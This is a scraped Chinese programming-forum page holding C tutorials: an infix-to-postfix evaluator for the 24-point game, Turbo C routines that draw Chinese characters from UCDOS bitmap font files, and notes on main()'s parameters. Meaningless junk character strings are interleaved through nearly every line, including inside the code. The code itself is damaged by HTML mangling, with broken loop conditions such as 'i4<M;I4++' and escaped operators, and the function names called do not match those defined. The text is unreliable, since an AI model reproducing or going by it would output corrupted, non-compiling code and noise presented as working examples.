, }7 V* Q# B: M/ ~2 j3 L/ Y# U+ ccase '-': p=1; break;
3 B* q( k- Z9 x+ ?7 G: d1 Q4 L& fcase '(': p=0; break;
! ?2 |3 y/ I: e9 D4 vcase '=': p=-1; break;
1 n% q, j  ]& @7 ]+ Y}
# b( M2 j6 M# v* z6 L& M- q+ sreturn(p);/ r  B$ o4 M' J& N
}/ o* o$ [7 e  q9 M5 \
/* 此函数实现中缀到后缀的转换 */# l+ }% K4 S& N0 d# [7 g! M
/* M的值宏定义为20 */: ]5 P9 l: g3 e. `
/* sp[]为表达式数组 */; e# f! [7 R: m& ^  {
int mid_last()
+ A1 N. Q. I3 _/ e7 ]{ int i=0,j=0; char c,sm[M];$ W/ ^* E. }. T
c=s[0]; sm[0]='='; top=0;
) |1 o5 p; h! j& [5 `while(c!='\0')6 Z+ Z+ F0 X" P2 ^: q. D: o
{ if(islower(c)) sp[j++]=c;5 r6 z+ |- S" ^. \& o; j* m
else switch(c)
! J( {" q7 i, k; ~8 T% ?{ case '+':, Q& w" ^  z; g8 D9 g8 T
case '-':
0 U* E- D* c: W7 Q7 ~/ Ccase '*':+ C/ q# `; ?% t  r* B5 ^9 L
case '/': while(first(c)&lt;=first(sm[top]))0 |- L- a( B) T% A: F' E& I
sp[j++]=sm[top--];
' \. @# g- s+ r2 W* O" J% [2 @7 }sm[++top]=c; break;% ?7 S/ }. t" s. |8 f
case '(': sm[++top]=c; break;
) n7 S/ G# x: M( Wcase ')': while(sm[top]!='(')
  L. o# s* O( X# K4 P0 osp[j++]=sm[top--];
, d' @+ t8 P5 C2 s9 `  G3 [: Ztop--; break;1 U0 C" G& i# n5 F- o( y
default :return(1);
! x9 D, r. r& S; `6 o}
) f# s' R2 Z2 O& Xc=s[++i];! r: L; d5 [; R; F/ K
}* x  S2 c$ d4 ?) G# `; {
while(top&gt;0) sp[j++]=sm[top--];
$ d' l5 L4 ^: J- q3 Y8 D; y# usp[j]='\0'; return(0);7 |( A: c0 C( G
}
, r7 `0 f  ^! d8 S/* 由后缀表达式来计算表达式的值 */
# v% O& L! n6 h$ D, M$ U3 a7 hint calc()
1 k% C8 A# t, j{ int i=0,sm[M],tr; char c;1 Y( ~, ^8 D2 H  q$ H' n, W" Z  R
c=sp[0]; top=-1;3 e( Q; |& u! k7 g! I% W
while(c!='\0')+ k; R, q8 ?- q. A; S
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,$ O6 z. C, o5 h* D4 ^0 P
这样才可以更方便的处理非一位数,
  O0 K" p7 n0 W; v5 H3 Lver数组中存放着这些字母所代替的数*/9 y& W1 C/ q- @8 D4 z5 `5 b/ l
else switch(c)2 [, j3 @7 v+ ~$ r$ k3 G* N
{ case '+': tr=sm[top--]; sm[top]+=tr; break;5 F) g5 d/ _7 _- h( ~4 F
case '-': tr=sm[top--]; sm[top]-=tr; break;
/ ~7 K7 ?- d5 n8 ?case '*': tr=sm[top--]; sm[top]*=tr; break;
$ M% T: ^; u/ P. Z  |$ Gcase '/': tr=sm[top--];sm[top]/=tr;break;! q! v: G" J! x
default : return(1);
$ v1 c6 c) r! ?. [}! M9 R! \( p) R0 O/ y
c=sp[++i];) t: a7 m6 h; \- V
}4 B3 R( r9 w; ^
if(top&gt;0) return(1);2 Z8 L/ l) ?( o! `' b
else { result=sm[top]; return(0); }# O9 J6 m# b* ]7 l% S) p; z
}
& c! {' r) o5 i' }/ Z</FONT>/ m) Y* t; }, o$ C1 r
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
* `6 @, l, q% U: K8 z' Y4 Y4 l6 k1 y  ]2 {0 e
  最后我总结了一下这其中容易出错的地方——/ x8 g" P8 Z: X  t+ v/ k: U- A

1 a# x3 T- \; [+ n  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
1 J2 x0 u5 \3 E1 c4 y  D3 a; ]" C! L+ r3 w3 s1 s9 A4 C4 D
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。. J% C- ?, c& f
' w* G( M: @" M! }
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 3 ^) `7 n0 O+ }7 B9 C' w
$ ^2 T0 |9 x: Z; S! C1 C
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。, F- o+ w9 H  \

" e. K* i% A" _1 o" t: X" S8 C9 D  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。5 o4 O4 s6 _& d$ X  |3 D- l) N; |

9 Z) x, P3 T1 L7 m% Z  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
/ O6 B( I) v7 \' o/ C! ]" v# x* ~6 ?7 J5 |8 R' M
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
# q' c1 h. ^! z( V+ @- A</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>6 B* \! ~, ~+ w
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}3 g* p3 ]2 X& `
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
. W. _1 p4 ^* D. P% F  汉字显示的第一步是打开字库文件。
( N" S; ?" I4 f$ P' \6 e  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。' [2 i7 w, N+ R: U+ e( p
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)5 y  Y# I9 Z$ R+ ^
{  o" n* i: p5 n; _$ T8 d
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
% ]. u& \' d6 c, Hint rec,i1,i2,i3; /*z:space between;*/
* o( u. I1 [2 D  \3 ]- Ylong l; /*color:txt color*/1 S$ n+ G9 A. G
char by[32]; /*p:HZ str*/( B$ l" y3 }7 S% W  R- |' w- B/ B9 v' P
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
8 [! z* c9 A* m/ |: fif(i&gt;0xa1)
/ m" j5 b" c' ^( J+ o2 e, J4 rif(f==0){
) k$ l. L2 h# {* Qc1=(i-0xa1)&amp;0x07f;
& X! `( P9 T! D& h: I3 sf=1;
2 ]/ a$ F# `8 l8 {- n  Y) H  g, Q" X}
1 V% D  c) }8 g" L: o* j$ x# Melse{
5 f$ {9 J7 G0 d7 sc2=(i-0xa1)&amp;0x07f;9 {( M; y2 C  V1 t
f=0;
7 i7 {. M' O2 \8 C7 C$ Erec=c1*94+c2;/ ~2 d7 i# R0 ^, f! X2 I
l=rec*32L;
5 B/ G& y4 g. ?5 m: O8 Blseek(handle,l,SEEK_SET);& P( D, @- R, n
read(handle,by,32);  z4 q) `; a( l$ h$ N
for(i1=0;i1&lt;16;i1++)! f) Z1 [8 ?  V. E8 I9 Q) {4 D
for(i2=0;i2&lt;2;i2++)% m/ m/ P7 t  h9 O
for(i3=0;i3&lt;8;i3++)
1 w$ q. Y* t5 Qif(GetBit(by[i1*2+i2],7-i3))
% A; O) n7 x- d& _putpixel(x+i2*8+i3,y+i1,color);% _* y$ [/ \$ M3 a
x=x+z+16;
( G% ~9 r# Y- v7 T# w, V, P, o+ f}
6 S7 @8 u, P; _% U6 O. c}
3 _% h5 S# `2 x" Greturn(x);
3 N" L4 |2 K- _" t}: C. u* H2 d2 p
函数GetBit定义如下:
  |$ Y# U. C0 Z1 @1 [# u4 b$ D  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
1 H3 F' F5 m3 _int GetBit(unsigned char c,int n)
: s9 z0 G8 A) x{8 O- H$ e/ o+ W' d
return((c&gt;&gt;n)&amp;1);
! @$ [; W! Z4 o2 \0 D5 t# E# N}
* e$ g9 C0 o" F汉字显示结束,应该关闭字库文件。
* @0 [$ @  @1 z2 Cvoid CloseHz(void)' k+ Y9 W6 N- T: C6 A# X
{$ {. N% P0 K& t4 f
close( handle );
+ g$ T; }6 x5 c& @7 |$ }}0 i+ e- l& T: ~1 }( @7 l! Q
#include "\Caic\Include\Hz.h"
/ o0 L! d( J, K1 y5 T3 W#include <GRAPHICS.H>! U! \0 h) N' ~( x- ?" F
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";  {6 f5 {9 E/ A
const char* HzStr = "苦丁香C语言辅助学习软件";( \6 w5 Q- O- A+ z! s
void main(){
7 [4 b7 K$ Y+ y/ O/ G3 Y9 L8 h% x. fint gr=DETECT,gm;
4 I. h( u) r5 K& {6 u" n6 Xinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
* R$ }4 ~. x& l" kOpenHz( Hz16Path );# K: j1 K4 s8 L* i. d! n! r
Wrt16Hz(20,20,4,RED,HzStr);0 X0 y8 ?+ K; v8 O
CloseHz();
& e& t4 @+ C/ x) Z) {  x$ ?: h; Qgetch();7 _7 e" B: @4 w3 B9 F
closegraph();5 ]# z7 [4 i8 X7 K' g* o: j  w
}显示24点阵及放大汉字# e7 T' Q2 ], U4 k! P% A  G
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
8 ]# W7 M5 d& U- R5 Z8 h函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。3 j; ~/ _/ e3 C* \2 w9 @1 [  _
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)  [6 Y1 o* S  B6 ~
{; W# a8 q5 Y, J6 u; f+ H- b
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
. j9 M8 G! j6 u1 F; p7 T0 h0 Gint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/& F# S$ v5 ]% A' q
long l; /*color:汉字颜色*/
7 y% i0 F4 I; Y7 T! S5 bchar by[72]; /*m: x 方向的放大倍数*/8 K+ ~' j  K  s: Q! z$ [- T
/*n: y 方向的放大倍数*/
' g( ?% b$ }: q- Iif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
' w- D6 _2 J7 s3 B& R; D0 t& |if(i&gt;0xa1)* b7 u; A- ^% g! }
if(f==0){
/ x9 V. ?* \+ v( E$ b. ]) d# ^c1=(i-0xa1)&amp;0x7f;
& s6 o9 }8 w% V0 ?f=1;
4 p5 i6 p& A3 j. ~}  |, R& Y) y; ]1 H% V
else{2 @+ h% H0 n9 N1 d5 r
c2=(i-0xa1)&amp;0x7f;
& ?* {4 d$ {; if=0;
! r3 o1 I! Y1 I- @, irec=(c1-15)*94+c2;9 p6 l) B1 e" _2 g& z4 Z0 o+ n
l=rec*72L;2 X  e1 ]. B3 x. ~0 o' q
lseek(handle,l,SEEK_SET);3 q# \$ P" D+ A8 K
read(handle,by,72);' y4 C* d! D. G  J5 m; ~( ?2 j
for(i1=0;i1&lt;24*m;i1=i1+m)6 O4 c6 Y3 J3 _$ K& _- }' c
for(i4=0;i4<M;I4++)
/ M3 M  ^/ I" A" w! b) H for(i2=0;i2&lt;=2;i2++)
# g  Z2 Z/ e. b: |( Y' Ufor(i3=0;i3&lt;8;i3++)
8 M( Q! L( J1 S! Y& vif(GetBit(by[i1/m*3+i2],7-i3))  I0 J$ O5 E( {" Y
for(i5=0;i5<N;I5++)
8 z& c4 m7 B; ~- N putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
- R) I; D# \6 T* n" y2 C" q$ xx=x+24*m+z;
0 {) }8 F5 ?2 h% L7 T' b}
/ ^$ H$ Y- o- u* M4 Y}
& q2 m9 u! Z0 [. W4 I5 \return(x);
( h  ~/ L$ K& o0 r$ r. t2 q0 {} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"* O* D0 e2 d, L" Z. y. q/ }
#include <GRAPHICS.H>$ @* D6 ~, ]( Q7 ]
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."5 f: H& _% C, T8 o# Y2 g; j
const char* HzStr = "苦丁香C语言辅助学习软件";
0 v! {5 A) X% vvoid main(){
9 ^) l% f' g8 l1 k' R4 {, {1 Lint gr=DETECT,gm;' ]8 W) X6 P- }- E
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
/ d3 j7 o$ O( @1 C# D! G' `OpenHz( Hz24Path );
* o1 o- l2 F* uWrt24Hz(20,20, /*先是在(x,y)*/+ e5 q) {. O; U) ]6 x
4, /*汉字间的空格为4*/( l2 M* i7 ~9 r; [# B/ ?1 {
RED, /*用红色显示*/* ?/ f* U: i! C3 i
2, /*x 方向放大2倍*/6 a# a$ a( K. \4 i
4, /*y 方向放大4倍*/3 F( l: \/ o5 j9 p. B9 \
HzStr); /*显示字符串*/
& i7 }3 [2 m+ P4 ?0 pCloseHz();
1 C' t+ h8 k8 U2 k3 N, D9 \getch();
1 V  y6 Y% C& k- Y: x9 C7 Uclosegraph();
! o/ E/ e$ O2 K, {7 i, [}
+ Z' L4 M0 Q! v- S; x( W</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数' Q( z1 w( ?( X; {1 Y: U
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。2 M. b7 T6 N. f! A3 |
1. main() 参数
: ]' ^" f! u1 R5 l2 {' k  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
! ~$ Z  M6 c$ }  * argc: 整数,为传给main()的命令行参数个数。
- c+ W: O  m: X" p- c' ]" `4 ]  R8 ]  * argv: 字符串数组。
: a# N: d* c* b% U" d2 X在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;& X, H2 n: ]5 y" R! ]
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;" v! B6 \# w6 L* C9 q% w: e1 X/ e- U
...
1 w: T9 }. F- {) L* Margv[argc]为NULL。
. R# r4 v- Y' S* h! |) J  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
+ ]1 V7 ]) K5 v值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

9#
无效楼层,该帖已经被删除
10#
无效楼层,该帖已经被删除
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 11:10 , Processed in 3.804911 second(s), 97 queries .

回顶部